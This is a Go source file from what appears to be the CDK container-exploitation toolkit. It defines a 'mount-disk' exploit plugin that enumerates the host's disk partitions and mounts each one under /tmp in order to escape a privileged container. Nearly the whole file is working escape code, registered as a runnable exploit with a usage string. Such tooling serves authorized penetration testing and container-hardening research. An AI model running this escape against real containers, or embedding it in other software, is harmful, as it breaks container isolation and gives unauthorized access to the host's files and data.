mount_device.go

// +build !no_mount_device


/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package exploit

import (
	"bytes"
	"encoding/json"
	"fmt"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	"github.com/shirou/gopsutil/v3/disk"
	"log"
	"os"
	"os/exec"
	"regexp"
	"strings"
)

// add this to check if the container have device priv
func CheckFdisk() {
	_, err := exec.LookPath("fdisk")
	if err != nil {
		log.Println("cannot run `fdisk` command on target os")
		return
	}

	cmd := exec.Command("fdisk", "-l")

	var output bytes.Buffer
	cmd.Stdout = &output
	e := cmd.Run()
	if e != nil {
		log.Fatal("run command error :" + e.Error())
	}

	pattern := regexp.MustCompile("(?i)\\n/[^\\n]*linux(\\n|$)")
	params := pattern.FindAllStringSubmatch(output.String(), -1)
	for _, matched := range params {
		fmt.Printf("%s\n", strings.Join(matched, "\n"))

	}
}

// print all device and mount them to random path under /tmp
func AllDiskMount() (error, []string) {
	var exploitSuccess = false
	var mountedDirs []string
	var devices []string

	infos, _ := disk.Partitions(false)
	for _, info := range infos {
		devices = append(devices, info.Device)
		data, _ := json.MarshalIndent(info, "", "  ")
		fmt.Println(string(data))
	}
	devices = util.RemoveDuplicateElement(devices)
	log.Println("found", len(devices), "devices in total.")

	if len(devices) > 0 {
		for _, device := range devices {
			err, mountDir := MountToRandomTarget(device)
			if err != nil {
				log.Println(err)
			} else {
				mountedDirs = append(mountedDirs, mountDir)
				exploitSuccess = true
			}
		}
	}
	if exploitSuccess {
		return nil, mountedDirs
	} else {
		return errors.New("exploit mount-disk failed."), nil
	}
}

func MountToRandomTarget(device string) (error, string) {
	mountDir := fmt.Sprintf("/tmp/cdk_%s", util.RandString(5))
	err := os.MkdirAll(mountDir, os.ModePerm)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: fmt.Sprintf("fail to create mount dir in:%s", mountDir)}, ""
	}

	cmd := exec.Command("mount", device, mountDir)

	var output bytes.Buffer
	cmd.Stdout = &output
	e := cmd.Run()
	if e != nil {
		return &errors.CDKRuntimeError{Err: e, CustomMsg: "mount error. possible reason: target container is not privileged."}, ""
	}

	fmt.Printf("success! device %s was mounted to %s\n\n", device, mountDir)

	return nil, mountDir
}

// plugin interface
type mountDeviceS struct{}

func (p mountDeviceS) Desc() string {
	return "escape privileged container via disk mount, usage: `./cdk run mount-disk`"
}
func (p mountDeviceS) Run() bool {
	err, _ := AllDiskMount()
	if err != nil {
		log.Println(err)
		return false
	}
	return true
}

func init() {
	exploit := mountDeviceS{}
	plugin.RegisterExploit("mount-disk", exploit)
}